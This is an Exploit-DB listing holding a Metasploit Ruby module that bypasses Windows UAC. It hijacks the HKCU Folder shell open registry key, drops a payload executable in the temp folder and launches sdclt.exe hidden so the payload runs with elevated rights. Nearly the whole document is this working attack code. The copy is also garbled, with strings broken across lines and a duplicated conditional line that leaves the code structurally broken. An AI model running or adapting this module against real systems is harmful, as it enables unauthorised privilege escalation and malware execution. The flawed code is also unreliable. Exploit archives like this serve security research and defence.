Microsoft Windows - Escalate UAC Protection Bypass (Via Shell Open Registry Key) (Metasploit)

EDB-ID:	47696
CVE:	N/A
Author:	METASPLOIT
Type:	LOCAL
EDB Verified:	✓
Exploit:	/ {}
Platform:	WINDOWS
Date:	2019-11-20
Vulnerable App:	

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Windows Escalate UAC Protection Bypass (Via Shell Open
Registry Key)',
      'Description'   => %q(
        This module will bypass Windows UAC by hijacking a special key in the Registry
under
        the current user hive, and inserting a custom command that will get invoked
when
        Window backup and restore is launched. It will spawn a second shell that has
the UAC
        flag turned off.

        This module modifies a registry key, but cleans up the key once the payload has
        been invoked.
      ),
      'License'       => MSF_LICENSE,
      'Author'        => [
          'enigma0x3',   # UAC bypass discovery and research
          'bwatters-r7', # Module
        ],
      'Platform'      => ['win'],
      'SessionTypes'  => ['meterpreter'],
      'Targets'       => [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'Notes'         =>
          {
            'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
          },
        'References'    =>
          [
            ['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-
exe/'],
            ['URL', 'https://github.com/enigma0x3/Misc-PowerShell-
Stuff/blob/master/Invoke-SDCLTBypass.ps1'],
            ['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass']
          ],
        'DisclosureDate' => 'Mar 17 2017'
        )
      )
      register_options(
        [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload
binary (%RAND% by default).', nil])]
      )

    end

    def check
      if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled?
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    end

    def write_reg_values(registry_key, payload_pathname)
      begin
        registry_createkey(registry_key) unless registry_key_exist?(registry_key)
        registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
        registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ")
      rescue ::Exception => e
        print_error(e.to_s)
      end
```

```
  end

  def exploit
    check_permissions!
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this
setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method
instead')
      shell_execute_exe
      return
    end

    registry_key = 'HKCU\Software\Classes\Folder\shell\open\command'
    remove_registry_key = !registry_key_exist?(registry_key)

    # get directory locations straight
    win_dir = session.sys.config.getenv('windir')
    vprint_status("win_dir = " + win_dir)
    tmp_dir = session.sys.config.getenv('tmp')
    vprint_status("tmp_dir = " + tmp_dir)
    exploit_dir = win_dir + "\\System32\\"
    vprint_status("exploit_dir = " + exploit_dir)
    target_filepath = exploit_dir + "sdclt.exe"
    vprint_status("exploit_file = " + target_filepath)

    # make payload
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) +
'.exe'
    payload_pathname = tmp_dir + '\\' + payload_name
    vprint_status("payload_pathname = " + payload_pathname)
    vprint_status("Making Payload")
    payload = generate_payload_exe
    reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
    vprint_status("reg_command = " + reg_command)
    write_reg_values(registry_key, reg_command)

    # Upload payload
    vprint_status("Uploading Payload to #{payload_pathname}")
    write_file(payload_pathname, payload)
    vprint_status("Payload Upload Complete")

    vprint_status("Launching " + target_filepath)
    begin
      session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' =>
true)
    rescue ::Exception => e
      print_error("Executing command failed:\n#{e}")
    end
    print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
    # wait for a few seconds before cleaning up
    print_status("Please wait for session and cleanup....")
    sleep(20)
    vprint_status("Removing Registry Changes")
    if remove_registry_key
      registry_deletekey(registry_key)
    else
      registry_deleteval(registry_key, "DelegateExecute")
      registry_deleteval(registry_key, '')
    end
    print_status("Registry Changes Removed")
  end

  def check_permissions!
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    end
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
    # Check if you are an admin
    # is_in_admin_group can be nil, true, or false
    print_status('UAC is Enabled, checking level...')
    vprint_status('Checking admin status...')
    case is_in_admin_group?
    when true
      print_good('Part of Administrators group! Continuing...')
      if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
        fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
      end
    when false
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this
module')
    when nil
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    end
  end

end
```

Tags: Metasploit Framework (MSF) Local

Advisory/Source: Link

Databases

Links

Sites

Solutions